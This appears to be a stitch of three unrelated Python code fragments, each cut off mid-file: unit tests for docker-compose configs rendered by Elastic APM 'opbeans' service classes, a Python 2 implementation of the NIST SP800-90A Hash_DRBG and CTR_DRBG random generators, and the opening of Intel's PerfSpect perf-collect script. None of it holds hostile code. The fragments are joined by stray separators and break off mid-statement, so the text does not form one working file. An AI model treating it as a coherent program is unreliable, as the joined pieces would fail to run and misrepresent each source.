- ELASTIC_APM_SOURCE_LINES_SPAN_APP_FRAMES=5
- ELASTIC_APM_SOURCE_LINES_ERROR_LIBRARY_FRAMES
- ELASTIC_APM_SOURCE_LINES_SPAN_LIBRARY_FRAMES
- WORKLOAD_ELASTIC_APM_APP_NAME=workload
- WORKLOAD_ELASTIC_APM_SERVER_URL=http://apm-server:8200
- WORKLOAD_DISABLED=False
- OPBEANS_SERVER_PORT=3000
- OPBEANS_SERVER_HOSTNAME=opbeans-node
- NODE_ENV=production
- PGHOST=postgres
- PGPASSWORD=<PASSWORD>
- PGPORT=5432
- PGUSER=postgres
- REDIS_URL=redis://redis:6379
- NODE_AGENT_BRANCH=
- NODE_AGENT_REPO=
- OPBEANS_DT_PROBABILITY=0.50
- ELASTIC_APM_ENVIRONMENT=production
depends_on:
redis:
condition: service_healthy
postgres:
condition: service_healthy
apm-server:
condition: service_healthy
healthcheck:
test: ["CMD", "wget", "-q", "--server-response", "-O", "/dev/null", "http://opbeans-node:3000/"]
interval: 10s
retries: 12
volumes:
- ./docker/opbeans/node/sourcemaps:/sourcemaps""") # noqa: 501
)
def test_opbeans_node_image(self):
opbeans = OpbeansNode(opbeans_node_image="foo").render()["opbeans-node"]
branch = [e for e in opbeans["build"]["args"] if e.startswith("OPBEANS_NODE_IMAGE")]
self.assertEqual(branch, ["OPBEANS_NODE_IMAGE=foo"])
def test_opbeans_python_version(self):
opbeans = OpbeansNode(opbeans_node_version="bar").render()["opbeans-node"]
branch = [e for e in opbeans["build"]["args"] if e.startswith("OPBEANS_NODE_VERSION")]
self.assertEqual(branch, ["OPBEANS_NODE_VERSION=bar"])
def test_opbeans_node_without_loadgen(self):
opbeans_node = OpbeansNode(no_opbeans_node_loadgen=True).render()["opbeans-node"]
value = [e for e in opbeans_node["environment"] if e.startswith("WORKLOAD_DISABLED")]
self.assertEqual(value, ["WORKLOAD_DISABLED=True"])
def test_opbeans_python(self):
opbeans_python = OpbeansPython(version="6.2.4").render()
self.assertEqual(
opbeans_python, yaml.load("""
opbeans-python:
build:
dockerfile: Dockerfile
context: docker/opbeans/python
args:
- OPBEANS_PYTHON_IMAGE=opbeans/opbeans-python
- OPBEANS_PYTHON_VERSION=latest
container_name: localtesting_6.2.4_opbeans-python
ports:
- "127.0.0.1:8000:3000"
logging:
driver: 'json-file'
options:
max-size: '2m'
max-file: '5'
environment:
- DATABASE_URL=postgres://postgres:verysecure@postgres/opbeans
- ELASTIC_APM_SERVICE_NAME=opbeans-python
- ELASTIC_APM_SERVER_URL=http://apm-server:8200
- ELASTIC_APM_JS_SERVER_URL=http://localhost:8200
- ELASTIC_APM_VERIFY_SERVER_CERT=true
- ELASTIC_APM_FLUSH_INTERVAL=5
- ELASTIC_APM_TRANSACTION_MAX_SPANS=50
- ELASTIC_APM_TRANSACTION_SAMPLE_RATE=0.5
- ELASTIC_APM_SOURCE_LINES_ERROR_APP_FRAMES
- ELASTIC_APM_SOURCE_LINES_SPAN_APP_FRAMES=5
- ELASTIC_APM_SOURCE_LINES_ERROR_LIBRARY_FRAMES
- ELASTIC_APM_SOURCE_LINES_SPAN_LIBRARY_FRAMES
- REDIS_URL=redis://redis:6379
- ELASTICSEARCH_URL=elasticsearch:9200
- OPBEANS_SERVER_URL=http://opbeans-python:3000
- PYTHON_AGENT_BRANCH=
- PYTHON_AGENT_REPO=
- PYTHON_AGENT_VERSION
- OPBEANS_DT_PROBABILITY=0.50
- ELASTIC_APM_ENVIRONMENT=production
depends_on:
apm-server:
condition: service_healthy
elasticsearch:
condition: service_healthy
postgres:
condition: service_healthy
redis:
condition: service_healthy
healthcheck:
test: ["CMD", "curl", "--write-out", "'HTTP %{http_code}'", "--fail", "--silent", "--output", "/dev/null", "http://opbeans-python:3000/"]
interval: 10s
retries: 12
""") # noqa: 501
)
def test_opbeans_python_agent_branch(self):
opbeans_python_6_1 = OpbeansPython(version="6.1", opbeans_python_agent_branch="1.x").render()["opbeans-python"]
branch = [e for e in opbeans_python_6_1["environment"] if e.startswith("PYTHON_AGENT_BRANCH")]
self.assertEqual(branch, ["PYTHON_AGENT_BRANCH=1.x"])
opbeans_python_master = OpbeansPython(
version="7.0.0-alpha1", opbeans_python_agent_branch="2.x").render()["opbeans-python"]
branch = [e for e in opbeans_python_master["environment"] if e.startswith("PYTHON_AGENT_BRANCH")]
self.assertEqual(branch, ["PYTHON_AGENT_BRANCH=2.x"])
def test_opbeans_python_agent_repo(self):
agent_repo_default = OpbeansPython().render()["opbeans-python"]
branch = [e for e in agent_repo_default["environment"] if e.startswith("PYTHON_AGENT_REPO")]
self.assertEqual(branch, ["PYTHON_AGENT_REPO="])
agent_repo_override = OpbeansPython(opbeans_python_agent_repo="myrepo").render()["opbeans-python"]
branch = [e for e in agent_repo_override["environment"] if e.startswith("PYTHON_AGENT_REPO")]
self.assertEqual(branch, ["PYTHON_AGENT_REPO=myrepo"])
def test_opbeans_python_agent_local_repo(self):
agent_repo_default = OpbeansPython().render()["opbeans-python"]
assert "volumes" not in agent_repo_default
agent_repo_override = OpbeansPython(opbeans_python_agent_local_repo=".").render()["opbeans-python"]
assert "volumes" in agent_repo_override, agent_repo_override
def test_opbeans_python_image(self):
opbeans = OpbeansPython(opbeans_python_image="foo").render()["opbeans-python"]
branch = [e for e in opbeans["build"]["args"] if e.startswith("OPBEANS_PYTHON_IMAGE")]
self.assertEqual(branch, ["OPBEANS_PYTHON_IMAGE=foo"])
def test_opbeans_python_version(self):
opbeans = OpbeansPython(opbeans_python_version="bar").render()["opbeans-python"]
branch = [e for e in opbeans["build"]["args"] if e.startswith("OPBEANS_PYTHON_VERSION")]
self.assertEqual(branch, ["OPBEANS_PYTHON_VERSION=bar"])
def test_opbeans_ruby(self):
opbeans_ruby = OpbeansRuby(version="6.3.10").render()
self.assertEqual(
opbeans_ruby, yaml.load("""
opbeans-ruby:
build:
dockerfile: Dockerfile
context: docker/opbeans/ruby
args:
- OPBEANS_RUBY_IMAGE=opbeans/opbeans-ruby
- OPBEANS_RUBY_VERSION=latest
container_name: localtesting_6.3.10_opbeans-ruby
ports:
- "127.0.0.1:3001:3000"
environment:
- ELASTIC_APM_SERVER_URL=http://apm-server:8200
- ELASTIC_APM_SERVICE_NAME=opbeans-ruby
- ELASTIC_APM_VERIFY_SERVER_CERT=true
- DATABASE_URL=postgres://postgres:verysecure@postgres/opbeans-ruby
- REDIS_URL=redis://redis:6379
- ELASTICSEARCH_URL=elasticsearch:9200
- OPBEANS_SERVER_URL=http://opbeans-ruby:3000
- RAILS_ENV=production
- RAILS_LOG_TO_STDOUT=1
- PORT=3000
- RUBY_AGENT_BRANCH=
- RUBY_AGENT_REPO=
- RUBY_AGENT_VERSION
- OPBEANS_DT_PROBABILITY=0.50
- ELASTIC_APM_ENVIRONMENT=production
logging:
driver: 'json-file'
options:
max-size: '2m'
max-file: '5'
depends_on:
redis:
condition: service_healthy
elasticsearch:
condition: service_healthy
postgres:
condition: service_healthy
apm-server:
condition: service_healthy
healthcheck:
test: ["CMD", "wget", "-q", "--server-response", "-O", "/dev/null", "http://opbeans-ruby:3000/"]
interval: 10s
retries: 50""") # noqa: 501
)
def test_opbeans_ruby_image(self):
opbeans = OpbeansRuby(opbeans_ruby_image="foo").render()["opbeans-ruby"]
branch = [e for e in opbeans["build"]["args"] if e.startswith("OPBEANS_RUBY_IMAGE")]
self.assertEqual(branch, ["OPBEANS_RUBY_IMAGE=foo"])
def test_opbeans_ruby_version(self):
opbeans = OpbeansRuby(opbeans_ruby_version="bar").render()["opbeans-ruby"]
branch = [e for e in opbeans["build"]["args"] if e.startswith("OPBEANS_RUBY_VERSION")]
self.assertEqual(branch, ["OPBEANS_RUBY_VERSION=bar"])
def test_opbeans_rum(self):
opbeans_rum = OpbeansRum(version="6.3.10").render()
self.assertEqual(
opbeans_rum, yaml.load("""
opbeans-rum:
build:
dockerfile: Dockerfile
context: docker/opbeans/rum
container_name: localtesting_6.3.10_opbeans-rum
environment:
- OPBEANS_BASE_URL=http://opbeans-node:3000
- ELASTIC_APM_VERIFY_SERVER_CERT=true
cap_add:
- SYS_ADMIN
ports:
- "127.0.0.1:9222:9222"
logging:
driver: 'json-file'
options:
max-size: '2m'
max-file: '5'
depends_on:
opbeans-node:
condition: service_healthy
healthcheck:
test: ["CMD", "curl", "--write-out", "'HTTP %{http_code}'", "--fail", "--silent", "--output", "/dev/null", "http://localhost:9222/"]
interval: 10s
retries: 12""") # noqa: 501
)
def test_opbeans_elasticsearch_urls(self):
def assertOneElasticsearch(opbean):
self.assertTrue("elasticsearch" in opbean['depends_on'])
self.assertTrue("ELASTICSEARCH_URL=elasticsearch01:9200" in opbean['environment'])
def assertTwoElasticsearch(opbean):
self.assertTrue("elasticsearch" in opbean['depends_on'])
self.assertTrue("ELASTICSEARCH_URL=elasticsearch01:9200,elasticsearch02:9200" in opbean['environment'])
opbeans = OpbeansDotnet(opbeans_elasticsearch_urls=["elasticsearch01:9200"]).render()["opbeans-dotnet"]
assertOneElasticsearch(opbeans)
opbeans = OpbeansDotnet(opbeans_elasticsearch_urls=["elasticsearch01:9200", "elasticsearch02:9200"]
).render()["opbeans-dotnet"]
assertTwoElasticsearch(opbeans)
opbeans = OpbeansGo(opbeans_elasticsearch_urls=["elasticsearch01:9200"]).render()["opbeans-go"]
assertOneElasticsearch(opbeans)
opbeans = OpbeansGo(opbeans_elasticsearch_urls=["elasticsearch01:9200", "elasticsearch02:9200"]
).render()["opbeans-go"]
assertTwoElasticsearch(opbeans)
opbeans = OpbeansJava(opbeans_elasticsearch_urls=["elasticsearch01:9200"]).render()["opbeans-java"]
assertOneElasticsearch(opbeans)
opbeans = OpbeansJava(opbeans_elasticsearch_urls=["elasticsearch01:9200", "elasticsearch02:9200"]
).render()["opbeans-java"]
assertTwoElasticsearch(opbeans)
opbeans = OpbeansPython(opbeans_elasticsearch_urls=["elasticsearch01:9200"]).render()["opbeans-python"]
assertOneElasticsearch(opbeans)
opbeans = OpbeansPython(opbeans_elasticsearch_urls=["elasticsearch01:9200", "elasticsearch02:9200"]
).render()["opbeans-python"]
assertTwoElasticsearch(opbeans)
opbeans = OpbeansRuby(opbeans_elasticsearch_urls=["elasticsearch01:9200"]).render()["opbeans-ruby"]
assertOneElasticsearch(opbeans)
opbeans = OpbeansRuby(opbeans_elasticsearch_urls=["elasticsearch01:9200", "elasticsearch02:9200"]
).render()["opbeans-ruby"]
assertTwoElasticsearch(opbeans)
def test_opbeans_service_environment(self):
def assertWithoutOption(opbean):
self.assertTrue("ELASTIC_APM_ENVIRONMENT=production" in opbean['environment'])
def assertWithOption(opbean):
self.assertTrue("ELASTIC_APM_ENVIRONMENT=test" in opbean['environment'])
opbeans = OpbeansDotnet().render()["opbeans-dotnet"]
assertWithoutOption(opbeans)
opbeans = OpbeansDotnet(opbeans_dotnet_service_environment="test").render()["opbeans-dotnet"]
assertWithOption(opbeans)
opbeans = OpbeansGo().render()["opbeans-go"]
assertWithoutOption(opbeans)
opbeans = OpbeansGo(opbeans_go_service_environment="test").render()["opbeans-go"]
assertWithOption(opbeans)
opbeans = OpbeansJava().render()["opbeans-java"]
assertWithoutOption(opbeans)
opbeans = OpbeansJava(opbeans_java_service_environment="test").render()["opbeans-java"]
assertWithOption(opbeans)
opbeans = OpbeansPython().render()["opbeans-python"]
assertWithoutOption(opbeans)
opbeans = OpbeansPython(opbeans_python_service_environment="test").render()["opbeans-python"]
assertWithOption(opbeans)
opbeans = OpbeansRuby().render()["opbeans-ruby"]
assertWithoutOption(opbeans)
opbeans = OpbeansRuby(opbeans_ruby_service_environment="test").render()["opbeans-ruby"]
assertWithOption(opbeans)
opbeans = OpbeansNode().render()["opbeans-node"]
assertWithoutOption(opbeans)
opbeans = OpbeansNode(opbeans_node_service_environment="test").render()["opbeans-node"]
assertWithOption(opbeans)
def test_opbeans_secret_token(self):
for cls in opbeans_services():
services = cls(version="6.5.0", apm_server_secret_token="supersecret").render()
opbeans_service = list(services.values())[0]
secret_token = [e for e in opbeans_service["environment"] if e.startswith("ELASTIC_APM_SECRET_TOKEN=")]
self.assertEqual(["ELASTIC_APM_SECRET_TOKEN=supersecret"], secret_token, cls.__name__)
if cls is None:
self.fail("no opbeans services tested")
def test_opbeans_loadgen(self):
opbeans_load_gen = OpbeansLoadGenerator(
version="6.3.1",
enable_opbeans_python=True,
enable_opbeans_ruby=True,
enable_opbeans_node=True,
no_opbeans_node_loadgen=True,
opbeans_python_loadgen_rpm=50,
opbeans_ruby_loadgen_rpm=10,
).render()
assert opbeans_load_gen == yaml.load("""
opbeans-load-generator:
image: opbeans/opbeans-loadgen:latest
container_name: localtesting_6.3.1_opbeans-load-generator
depends_on:
opbeans-python: {condition: service_healthy}
opbeans-ruby: {condition: service_healthy}
environment:
- 'OPBEANS_URLS=opbeans-python:http://opbeans-python:3000,opbeans-ruby:http://opbeans-ruby:3000'
- 'OPBEANS_RPMS=opbeans-python:50,opbeans-ruby:10'
logging:
driver: json-file
options: {max-file: '5', max-size: 2m}""")
class PostgresServiceTest(ServiceTest):
def test_postgres(self):
postgres = Postgres(version="6.2.4").render()
self.assertEqual(
postgres, yaml.load("""
postgres:
image: postgres:10
container_name: localtesting_6.2.4_postgres
environment:
- POSTGRES_DB=opbeans
- POSTGRES_PASSWORD=<PASSWORD>
ports:
- 5432:5432
logging:
driver: 'json-file'
options:
max-size: '2m'
max-file: '5'
volumes:
- ./docker/opbeans/sql:/docker-entrypoint-initdb.d
- pgdata:/var/lib/postgresql/data
healthcheck:
interval: 10s
test: ["CMD", "pg_isready", "-h", | |
requested_security_strength,
prediction_resistance=False, personalization=None,
reseed_rate=None):
'''
Initialize a HashDRBG with the specified parameters.
'''
# Check that we can use the hash provided
if type(hashtype) is str:
if hashtype in DRBG_HASHES:
self.hashtype = DRBG_HASHES[hashtype]
self.hash_name = hashtype
else:
raise ValueError('Unrecognized hash algorithm [%s]' % hashtype)
elif type(hashtype) is dict:
self.hashtype = hashtype
self.hash_name = hashtype['hash'].__name__
else:
raise ValueError('Unable to use this hash algorithm')
# Set some constant parameters from NIST SP800-90A, Table 2
DRBG.__init__(self, entropy_source,
supported_security_strengths = self.hashtype['strengths'],
nonce_required = True,
max_length = 1L << 35,
max_personalization = 1L << 32, # measured in bytes
max_additional_input = 1L << 32, # measured by bytes
max_n_bits = 1L << 19,
max_interval = 1L << 48
)
self.V = None
self.C = None
self.counter = None
self.scheduled = False
self.key = None
self.outlen = 0
self.seedlen = 0
self.prediction_resistance_flag = False
self.outlen = self.hashtype['output length']
self.seedlen = self.hashtype['seed length']
# Instantiate the DRBG
self.instantiate_drbg(requested_security_strength,
prediction_resistance,
personalization, reseed_rate)
#pylint: enable=R0913
def get_name(self):
'''Get name of DRBG for inclusion in statistics'''
return ('HashDRBG (hash=%s, strength=%i)' %
(self.hash_name, self.security_strength))
def instantiate_algorithm(self, entropy_input, nonce,
personalization, security_strength):
'''
Hash_DRBG_Instantiate_algorithm as specified in NIST SP800-90A,
Section 10.1.1.2, page 40.
Updates the internal state using the provided data.'
'''
if not personalization:
personalization = ''
# Step 1
seed_material = entropy_input + nonce + personalization
# Step 2
status, seed = self.hash_df(seed_material, self.seedlen)
if status != 'SUCCESS':
raise RuntimeError('hash_df returned [%s]' % status)
# Step 3
self.V = seed
# Step 4
status, self.C = self.hash_df(chr(0x00) + self.V, self.seedlen)
if status != 'SUCCESS':
raise RuntimeError('hash_df returned [%s]' % status)
# Step 5
self.counter = 1
# Step 6
return
def reseed_algorithm(self, entropy_input, additional_input):
'''
Hash_DRBG_Reseed_algorithm as specified in NIST SP800-90A,
Section 10.1.1.3, page 41
'''
# Step 1
seed_material = chr(0x01) + self.V + entropy_input + additional_input
# Step 2
status, seed = self.hash_df(seed_material, self.seedlen)
if status != 'SUCCESS':
raise RuntimeError('hash_df returned [%s]' % status)
# Step 3
self.V = seed
# Step 4
status, self.C = self.hash_df(chr(0x00) + self.V, self.seedlen)
if status != 'SUCCESS':
raise RuntimeError('hash_df returned [%s]' % status)
# Step 5
self.counter = 1
# Step 6
return
def generate_algorithm(self, n_bits, additional_input = None):
'''
CTR_DRGB_Generate_algorithm, as specified in NIST SP800-90A,
Section 10.1.1.4, page 42
'''
# Step 1
if self.counter > self.max_interval and not self.reseed_failed:
return ('RESEED', '')
# Step 2
if additional_input:
# Step 2.1
ww = self.hash(chr(0x02) + self.V + additional_input)
# Step 2.2
self.V = utilities.binstr_add(self.V, ww, self.seedlen)
# Step 3
returned_bits = self.hashgen(n_bits, self.V)
# Step 4
H = self.hash(chr(0x03) + self.V)
# Step 5
self.V = utilities.binstr_add(self.V, H, self.seedlen)
self.V = utilities.binstr_add(self.V, self.C, self.seedlen)
self.V = utilities.binstr_add(
self.V,
struct.pack('>II',
(self.counter >> 32) & 0xffffffff,
self.counter & 0xffffffff),
self.seedlen)
# Step 6
self.counter += 1
# Step 7
if not self.reseed_failed:
return ('SUCCESS', returned_bits)
else:
return ('RESEED', returned_bits)
def uninstantiate_algorithm(self):
'''
Called by Uninstantiate, as specified in NIST SP800-90A,
Section 9.4, page 36
'''
self.key = None
self.V = None
self.scheduled = False
return
def hashgen(self, n_bits, V):
'''
Hashgen, as specified in NIST SP800-90A, Section 10.1.1.4, page 43
'''
# Step 1
mm = (n_bits + self.outlen - 1) / self.outlen
# Step 2
data = V
# Step 3
W = ''
# Step 4
for dummy_ii in range(mm):
# Step 4.1
wi = self.hash(data)
# Step 4.2
W = W + wi
# Step 4.3
data = utilities.binstr_increment(data, self.seedlen)
# Step 5
returned_bits = utilities.binstr_leftmost(W, n_bits)
# Step 6
return returned_bits
def hash_df(self, input_string, n_bits):
'''
Hash_df as specified in NIST SP800-90A, Section 10.4.1, page 67
'''
if n_bits > 255 * self.outlen:
return 'ERROR', ''
# Step 1
temp = ''
# Step 2
len_blocks = (n_bits + self.outlen - 1) / self.outlen
# Step 3
counter = 1
# Step 4
for dummy_ii in range(len_blocks):
# Step 4.1
temp = temp + self.hash(struct.pack('>II', counter, n_bits) +
input_string)
# Step 4.2
counter += 1
# Step 5
requested_bits = utilities.binstr_leftmost(temp, n_bits)
# Step 6
return 'SUCCESS', requested_bits
def hash(self, data):
'''
Hash as referenced but not specified in NIST SP800-90A
'''
instance = self.hashtype['hash'].new()
instance.update(data)
return instance.digest()
#pylint: enable=R0902
#pylint: disable=R0902
class CTR_DRBG(DRBG):
'''
CTR_DRBG as specified in NIST SP800-90A, Section 10.2.1, page 49
'''
#pylint: disable=R0913
def __init__(self, use_df, cipher, entropy_source,
requested_security_strength, prediction_resistance=False,
personalization=None, reseed_rate=None):
'''
Initialize a CTR_DRBG with the specified parameters.
'''
# Check that we can use the cipher provided
if type(cipher) is str:
if cipher in DRBG_CIPHERS:
self.cipher = DRBG_CIPHERS[cipher]
self.cipher_name = cipher
else:
raise ValueError('Unrecognized cipher algorithm [%s]' % cipher)
elif type(cipher) is dict:
self.cipher = cipher
self.cipher_name = cipher['new cipher'].__name__
else:
raise ValueError('Unable to use this cipher')
# Remove any security strengths for which we do not have a matching
# key length
supported_security_strengths = [
bits for bits in [112, 128, 192, 256]
if self.cipher['keylengths'][bits]]
# Determine whether we are using a derivation function
if use_df:
self.derivation = True
nonce_required = True
else:
self.derivation = False
nonce_required = False
# Set some constant parameters from NIST SP800-90A, Table 3
DRBG.__init__(self, entropy_source,
supported_security_strengths,
nonce_required,
max_length = 1L << 35,
max_personalization = 1L << 32, # measured in bytes
max_additional_input = 1L << 32, # measured by bytes
max_n_bits = 1L << 19,
max_interval = 1L << 48)
self.key = None
self.V = None
self.counter = None
self.scheduled = False
self.cipher_instance = None
self.outlen = 0
self.keylen = 0
self.seedlen = 0
self.prediction_resistance_flag = False
# Instantiate the DRBG
self.instantiate_drbg(requested_security_strength,
prediction_resistance, personalization,
reseed_rate)
return
#pylint: enable=R0913
def get_name(self):
'''Get name of DRBG for inclusion in statistics'''
return ('CTR_DRBG (cipher=%s, strength=%i)' %
(self.cipher_name, self.security_strength))
def update(self, data):
'''
CTR_DRBG_Update as specified in NIST SP800-90A,
Section 10.2.1.2, page 52.
Updates the internal state using the provided data.'
'''
if (self.seedlen & 7) or (self.keylen & 7) or (self.outlen & 7):
raise NotImplementedError(
'Only 0 mod 8 is supported for key/block sizes.')
if type(data) is not str:
raise ValueError('CTR_DRBG_Update requires string input.')
seedlenbytes = self.seedlen / 8
if len(data) != seedlenbytes:
raise ValueError(
('CTR_DRBG_Update requires exactly seedlen of data '
'(received %d bytes, expected %d).') %
(len(data), seedlenbytes))
# Step 1
temp = ''
# Step 2
while len(temp) < seedlenbytes:
# Step 2.1
self.V = utilities.binstr_increment(self.V, self.outlen)
# Step 2.2
output_block = self.block_encrypt(self.key, self.V)
# Step 2.3
temp = temp + output_block
# Step 3-4, the XOR function automatically truncates to match
# input lengths
temp = utilities.binstr_xor(data, temp)
# Step 5
self.key = temp[:self.keylen / 8]
# Step 6
self.V = temp[self.keylen / 8:][:self.outlen / 8]
# Step 7
self.scheduled = False
return
def instantiate_algorithm(self, entropy_input, nonce,
personalization, security_strength):
'''
CTR_DRBG_Instatntiate_algorithm as specified in NIST SP800-90A
Section 10.2.1.3, page 53.
Instantiates either with (10.2.1.3.2) or without (10.2.1.3.1)
a derivation function.
'''
# Set some parameters based on the security strength
self.keylen = self.cipher['keylengths'][self.security_strength]
self.outlen = self.cipher['block size']
self.seedlen = self.keylen + self.outlen
if not personalization:
personalization = ''
# When a derivation function is used (mandatory unless full entropy)
if self.derivation:
# 10.2.1.3.2, Step 1
seed_material = entropy_input + nonce + personalization
seed_material = utilities.binstr_zeropad(
seed_material, self.seedlen)
# 10.2.1.3.2, Step 2
status, seed_material = self.block_cipher_df(
seed_material, self.seedlen)
if status != 'SUCCESS':
raise ValueError('block_cipher_df returned [%s]' % status)
# When full entropy is available and a derivation function is not used
else:
# 10.2.1.3.1, Step 1-2
personalization = utilities.binstr_zeropad(
personalization, self.seedlen)
# 10.2.1.3.1, Step 3
seed_material = utilities.binstr_xor(
entropy_input, personalization)
# 10.2.1.3.1, Step 4 / 10.2.1.3.2, Step 3
self.key = utilities.binstr_zeropad('', self.keylen)
# 10.2.1.3.1, Step 5 / 10.2.1.3.2, Step 4
self.V = utilities.binstr_zeropad('', self.outlen)
# 10.2.1.3.1, Step 6 / 10.2.1.3.2, Step 5
self.update(seed_material)
# 10.2.1.3.1, Step 7 / 10.2.1.3.2, Step 6
self.counter = 1
# 10.2.1.3.1, Step 8 / 10.2.1.3.2, Step 7
return
def reseed_algorithm(self, entropy_input, additional_input):
'''
CTR_DRBG_Reseed_algorithm as specified in NIST SP800-90A,
Section 10.2.1.4, page | |
#!/usr/bin/env python3
###########################################################################################################
# Copyright (C) 2021 Intel Corporation
# SPDX-License-Identifier: BSD-3-Clause
###########################################################################################################
from __future__ import print_function
import os
import sys
import subprocess # nosec
import shlex # nosec
from src import perf_helpers
from src import prepare_perf_events as prep_events
from subprocess import PIPE, run # nosec
# meta data gathering
def write_metadata(
outcsv,
collection_events,
arch,
cpuname,
cpuid_info,
interval,
muxinterval,
nogroups,
percore,
supervisor,
metadata_only=False,
):
tsc_freq = str(perf_helpers.get_tsc_freq())
data = ""
time_stamp = ""
validate_file(outcsv)
with open(outcsv, "r") as original:
time_stamp = original.readline()
if metadata_only and time_stamp.startswith("### META DATA ###"):
print("Not prepending metadata, already present in %s " % (outcsv))
return
data = original.read()
with open(outcsv, "w") as modified:
modified.write("### META DATA ###,\n")
modified.write("TSC Frequency(MHz)," + tsc_freq + ",\n")
modified.write("CPU count," + str(perf_helpers.get_cpu_count()) + ",\n")
modified.write("SOCKET count," + str(perf_helpers.get_socket_count()) + ",\n")
if args.pid or args.cgroup:
modified.write("HT count," + str(1) + ",\n")
else:
modified.write("HT count," + str(perf_helpers.get_ht_count()) + ",\n")
imc, cha, upi = perf_helpers.get_imc_cacheagent_count()
modified.write("IMC count," + str(imc) + ",\n")
modified.write("CHA count," + str(cha) + ",\n")
modified.write("UPI count," + str(upi) + ",\n")
modified.write("Sampling Interval," + str(interval) + ",\n")
modified.write("Architecture," + str(arch) + ",\n")
modified.write("Model," + str(cpuname) + ",\n")
modified.write("kernel version," + perf_helpers.get_version() + "\n")
for socket, cpus in cpuid_info.items():
modified.write("Socket:" + str(socket) + ",")
for c in cpus:
modified.write(str(c) + ";")
modified.write("\n")
modified.write("Perf event mux Interval ms," + str(muxinterval) + ",\n")
grouping = "disabled" if nogroups else "enabled"
supervisor = "sudo" if supervisor else "non root"
percoremode = "enabled" if percore else "disabled"
modified.write("Event grouping," + grouping + ",\n")
modified.write("User mode," + supervisor + ",\n")
modified.write("Percore mode," + percoremode + ",\n")
modified.write("PerfSpect version," + perf_helpers.get_tool_version() + ",\n")
modified.write("### PERF EVENTS ###" + ",\n")
for e in collection_events:
modified.write(e + "\n")
modified.write("\n")
modified.write("### PERF DATA ###" + ",\n")
if time_stamp:
zone = subprocess.check_output( # nosec
["date"], universal_newlines=True # nosec
).split() # nosec
epoch = str(perf_helpers.get_epoch(time_stamp))
modified.write(
time_stamp.rstrip() + " " + zone[4] + " EPOCH " + epoch + "\n"
)
modified.write(data)
def resource_path(relative_path):
"""Get absolute path to resource, works for dev and for PyInstaller"""
base_path = getattr(sys, "_MEIPASS", os.path.dirname(os.path.abspath(__file__)))
return os.path.join(base_path, relative_path)
def validate_perfargs(perf):
"""validate perf command before executing"""
if perf[0] != "perf":
raise SystemExit("Not a perf command, exiting!")
def validate_file(fname):
"""validate if file is accessible"""
if not os.access(fname, os.R_OK):
raise SystemExit(str(fname) + " not accessible")
def is_safe_file(fname, substr):
"""verify if file name/format is accurate"""
if not fname.endswith(substr):
raise SystemExit(str(fname) + " isn't appropriate format")
if __name__ == "__main__":
script_path = os.path.dirname(os.path.realpath(__file__))
# fix the pyinstaller path
if "_MEI" in script_path:
script_path = script_path.rsplit("/", 1)[0]
result_dir = script_path + "/results"
default_output_file = result_dir + "/perfstat.csv"
from argparse import ArgumentParser
parser = ArgumentParser(description="perf-collect: Time series dump of PMUs")
parser.add_argument(
"-v", "--version", help="display version info", action="store_true"
)
parser.add_argument(
"-e",
"--eventfile",
type=str,
default=None,
help="Event file containing events to collect, default=events/<architecture specific file>",
)
parser.add_argument(
"-i",
"--interval",
type=float,
default=1,
help="interval in seconds for time series dump, default=1",
)
parser.add_argument(
"-m",
"--muxinterval",
type=int,
default=10,
help="event mux interval in milli seconds, default=0 i.e. will use the system default",
)
parser.add_argument(
"-o",
"--outcsv",
type=str,
default=default_output_file,
help="perf stat output in csv format, default=results/perfstat.csv",
)
parser.add_argument(
"-a",
"--app",
type=str,
default=None,
help="Application to run with perf-collect, perf collection ends after workload completion",
)
parser.add_argument(
"-p", "--pid", type=str, default=None, help="perf-collect on selected PID(s)"
)
parser.add_argument(
"-c",
"--cgroup",
type=str,
default=None,
help="perf-collect on selected cgroup(s)",
)
parser.add_argument(
"-t", "--timeout", type=int, default=None, help="perf event collection time"
)
parser.add_argument(
"--percore", help="Enable per core event collection", action="store_true"
)
parser.add_argument(
"--nogroups",
help="Disable perf event grouping, events are grouped by default as in the event file",
action="store_true",
)
parser.add_argument(
"--dryrun",
help="Test if Performance Monitoring Counters are in-use, and collect stats for 10sec to validate event file correctness",
action="store_true",
)
parser.add_argument(
"--metadata",
help="collect system info only, does not run perf",
action="store_true",
)
args = parser.parse_args()
if args.version:
print(perf_helpers.get_tool_version())
sys.exit(0)
interval = int(args.interval * 1000)
if args.app and args.timeout:
raise SystemExit("Please provide time duration or application parameter")
if args.muxinterval > 1000:
raise SystemExit(
"Input argument muxinterval is too large, max is [1s or 1000ms]"
)
if args.interval < 0.1 or args.interval > 300:
raise SystemExit(
"Input argument dump interval is too large or too small, range is [0.1 to 300s]!"
)
# select architecture default event file if not supplied
procinfo = perf_helpers.get_cpuinfo()
arch, cpuname = perf_helpers.check_architecture(procinfo)
eventfile = args.eventfile
eventfilename = eventfile
if not eventfile:
if arch == "broadwell":
eventfile = "bdx.txt"
elif arch == "skylake":
eventfile = "skx.txt"
elif arch == "cascadelake":
eventfile = "clx.txt"
elif arch == "icelake":
eventfile = "icx.txt"
else:
raise SystemExit(
"Unsupported architecture (currently supports Broadwell, Skylake, CascadeLake and Icelake)"
)
# Convert path of event file to relative path if being packaged by pyInstaller into a binary
if getattr(sys, "frozen", False):
basepath = getattr(
sys, "_MEIPASS", os.path.dirname(os.path.abspath(__file__))
)
eventfilename = eventfile
is_safe_file(eventfile, ".txt")
eventfile = os.path.join(basepath, eventfile)
elif __file__:
eventfile = script_path + "/events/" + eventfile
eventfilename = eventfile
else:
raise SystemExit("Unknow application type")
if not os.path.isfile(eventfile):
raise SystemExit("event file not found")
if args.outcsv == default_output_file:
# create results dir
if not os.path.exists(result_dir):
os.mkdir(result_dir)
else:
if not perf_helpers.validate_outfile(args.outcsv):
raise SystemExit(
"Output filename not accepted. Filename should be a .csv without special characters"
)
supervisor = False
if os.geteuid() == 0:
supervisor = True
mux_intervals = perf_helpers.get_perf_event_mux_interval()
if args.muxinterval > 0:
if supervisor:
perf_helpers.set_perf_event_mux_interval(
False, args.muxinterval, mux_intervals
)
else:
print(
"Warning: perf event mux interval can't be set without sudo permission"
)
# disable nmi watchdog before collecting perf
f_nmi = open("/proc/sys/kernel/nmi_watchdog", "r")
nmi_watchdog = f_nmi.read()
f_nmi.close()
if int(nmi_watchdog) != 0:
if supervisor:
f_nmi = open("/proc/sys/kernel/nmi_watchdog", "w")
f_nmi.write("0")
f_nmi.close()
else:
print("Warning: nmi_watchdog enabled, perf grouping will be disabled")
args.nogroups = True
# disable grouping if more than 1 cgroups are being monitored
if args.cgroup is not None:
num_cgroups = prep_events.get_num_cgroups(args.cgroup)
